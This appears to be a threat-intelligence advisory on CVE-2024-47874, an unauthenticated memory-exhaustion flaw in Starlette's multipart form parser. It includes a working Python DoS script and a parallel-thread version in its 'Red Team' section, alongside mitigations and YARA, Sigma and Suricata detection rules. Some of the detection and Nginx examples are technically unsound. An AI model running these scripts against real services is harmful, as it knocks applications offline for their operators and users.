CVE-2024-47874
Executive Summary
CVE-2024-47874 is a high-severity Denial of Service (DoS) vulnerability in the Starlette ASGI framework, which also affects FastAPI applications built on top of it. The flaw resides in how Starlette handles multipart/form-data parts without a filename attribute. Such parts are treated as text form fields and buffered in byte strings with no size limit. An attacker can exploit this by sending arbitrarily large form fields, causing excessive memory allocation and copy operations. This leads to severe performance degradation, memory exhaustion, and ultimately a complete denial of service for the application. The vulnerability is unauthenticated and requires no special privileges, making it easily exploitable over the network. The official fix is included in Starlette version 0.40.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is critical for the Python ecosystem, specifically for packages that depend on Starlette or FastAPI. Organizations using these frameworks in production are at risk. The supply chain impact is significant because a single vulnerable dependency can compromise the availability of numerous applications. It is imperative to audit all Python projects for Starlette versions below 0.40.0 and update them immediately. Package managers like pip and poetry should be used to enforce version constraints.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete loss of availability.
Threat Level: High. The ease of exploitation and potential for widespread service disruption make this a critical threat for any organization using Starlette or FastAPI.
Deep Dive & Mechanics
The vulnerability is rooted in the starlette/formparsers.py module, specifically in the MultiPartParser class. When parsing multipart/form-data requests, the parser distinguishes between file uploads (parts with a filename) and text form fields (parts without a filename). For text fields, the parser accumulates the data into a byte string without any size limit. This is in contrast to file uploads, which are typically streamed to disk or have size limits enforced.
An attacker can craft a malicious HTTP POST request with a Content-Type: multipart/form-data header and include a form field (no filename) with an extremely large value. The server will then allocate memory for this byte string, performing repeated copy operations as the data grows. This leads to:
- Memory Exhaustion: The server's memory is consumed until it starts swapping or the OS kills the process (OOM).
- CPU Saturation: The constant memory allocation and copying operations consume CPU cycles, slowing down the server.
- Service Degradation: Even a single large request can cause noticeable slowdowns. Multiple parallel requests can quickly render the service unusable.
The vulnerability is particularly dangerous because it bypasses typical reverse proxy size limits. A reverse proxy may limit the total request body size, but the attacker can send a request that is within that limit but contains a single form field that is extremely large. The proxy forwards the request, and Starlette then processes the large field, causing the DoS.
Vulnerable vs. Patched Code
Vulnerable Code (Starlette < 0.40.0):
In starlette/formparsers.py, the MultiPartParser.__call__ method processes form fields without a filename. The vulnerable code accumulates data into a byte string without a size limit.
# Vulnerable version (simplified)
async def __call__(self, receive):
# ... parsing logic ...
if field_name and not file_name:
# Treat as text field
value = b""
while True:
chunk = await receive()
if chunk["type"] == "http.disconnect":
break
value += chunk.get("body", b"") # No size limit
# ... store value ...
Patched Code (Starlette >= 0.40.0):
The patched version introduces a maximum size limit for form fields. The limit is configurable via the max_form_parts and max_form_part_size parameters.
# Patched version (simplified)
async def __call__(self, receive):
# ... parsing logic ...
if field_name and not file_name:
# Treat as text field with size limit
value = b""
max_size = self.max_form_part_size
while True:
chunk = await receive()
if chunk["type"] == "http.disconnect":
break
value += chunk.get("body", b"")
if len(value) > max_size:
raise ValueError("Form part too large")
# ... store value ...
The key change is the addition of a size check (max_form_part_size) that raises an exception if the accumulated data exceeds the limit.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Cause a Denial of Service on a Starlette/FastAPI application.
Prerequisites:
- A target running Starlette < 0.40.0 or FastAPI.
- Network access to the target.
Exploit Script (Python):
import requests
target_url = "http://target.com/upload" # Replace with actual endpoint
# Craft a large form field (no filename)
large_data = "A" * 100_000_000 # 100 MB
files = {
"large_field": (None, large_data) # No filename
}
try:
response = requests.post(target_url, files=files, timeout=10)
print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
print("Target is likely down or unresponsive.")
except Exception as e:
print(f"Error: {e}")
Explanation:
- The script sends a POST request with a
multipart/form-databody. - The
filesdictionary contains a keylarge_fieldwith a tuple(None, large_data). TheNoneindicates no filename, so Starlette treats it as a text form field. - The
large_datais a 100 MB string of 'A' characters. - The server will attempt to buffer this entire string in memory, causing resource exhaustion.
Parallel Attack (for faster DoS):
import requests
from concurrent.futures import ThreadPoolExecutor
target_url = "http://target.com/upload"
large_data = "A" * 100_000_000
def send_request():
files = {"large_field": (None, large_data)}
try:
requests.post(target_url, files=files, timeout=5)
except:
pass
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(send_request) for _ in range(10)]
Blue Team (Defense & Detection)
Detection:
- Monitor for unusually large
multipart/form-datarequests. - Look for requests with form fields that have no filename but contain large payloads.
- Use network monitoring to detect high memory usage on application servers.
Mitigation:
- Immediate: Upgrade Starlette to version 0.40.0 or later.
- Workaround: If upgrade is not possible, implement a middleware that limits the size of form fields before they reach Starlette.
- Reverse Proxy: Configure your reverse proxy (e.g., Nginx, HAProxy) to limit the maximum size of individual form fields, not just the total request body.
- Rate Limiting: Implement rate limiting to reduce the impact of multiple parallel requests.
Example Nginx Configuration:
server {
listen 80;
server_name target.com;
client_max_body_size 10m; # Limit total request body
# Additional check for form field size (requires ngx_http_core_module)
# This is a simplified example; real implementation may need Lua or other modules.
location /upload {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Indicators of Compromise (IOCs)
- Network Traffic:
- HTTP POST requests with
Content-Type: multipart/form-data; boundary=... - Requests containing form fields without a
filenameattribute. - Unusually large request bodies (e.g., > 10 MB) for form submissions.
- HTTP POST requests with
- System Logs:
- Application logs showing
MemoryErrororOutOfMemoryError. - System logs indicating OOM killer activity (e.g.,
dmesgoutput).
- Application logs showing
- Performance Metrics:
- Sudden spike in memory usage on application servers.
- Increased CPU usage due to memory allocation and copying.
- Slow response times or timeouts.
Detection Engineering
YARA Rule
rule CVE_2024_47874_Starlette_DoS {
meta:
description = "Detects attempts to exploit CVE-2024-47874 in Starlette/FastAPI"
author = "Valters IT"
date = "2024-10-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47874"
strings:
$multipart = "multipart/form-data" nocase
$field_no_filename = "Content-Disposition: form-data; name="
$large_data = /[A-Za-z0-9]{100000,}/ // Matches large data chunks
condition:
$multipart and $field_no_filename and #large_data > 0
}
Sigma Rule
title: CVE-2024-47874 Starlette DoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-47874 by sending large multipart form fields without a filename.
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-47874
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
sc-status: 200
cs-uri-query|contains: 'multipart/form-data'
cs(User-Agent)|contains: 'python-requests' # Adjust as needed
condition: selection
falsepositives:
- Legitimate large file uploads (though these typically have a filename)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47874 Starlette DoS Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_header; content:"Content-Disposition: form-data; name="; http_client_body; pcre:"/[A-Za-z0-9]{100000,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action: Upgrade Starlette to version 0.40.0 or later. For FastAPI users, update FastAPI to a version that depends on Starlette >= 0.40.0.
pip install --upgrade starlette # or pip install --upgrade fastapiWorkaround (if upgrade is not possible):
- Implement a custom middleware that limits the size of form fields.
- Use a reverse proxy (e.g., Nginx, HAProxy) to enforce strict limits on individual form field sizes.
- Monitor and rate-limit incoming requests.
Long-term Prevention:
- Regularly update dependencies.
- Implement input validation and size limits for all user-supplied data.
- Use Web Application Firewalls (WAF) to detect and block malicious payloads.
Verification:
- After applying the patch, test the application by sending large form fields to ensure they are rejected.
- Review application logs for any signs of exploitation.
Valters IT
DevSecOps & Cyber Threat Intelligence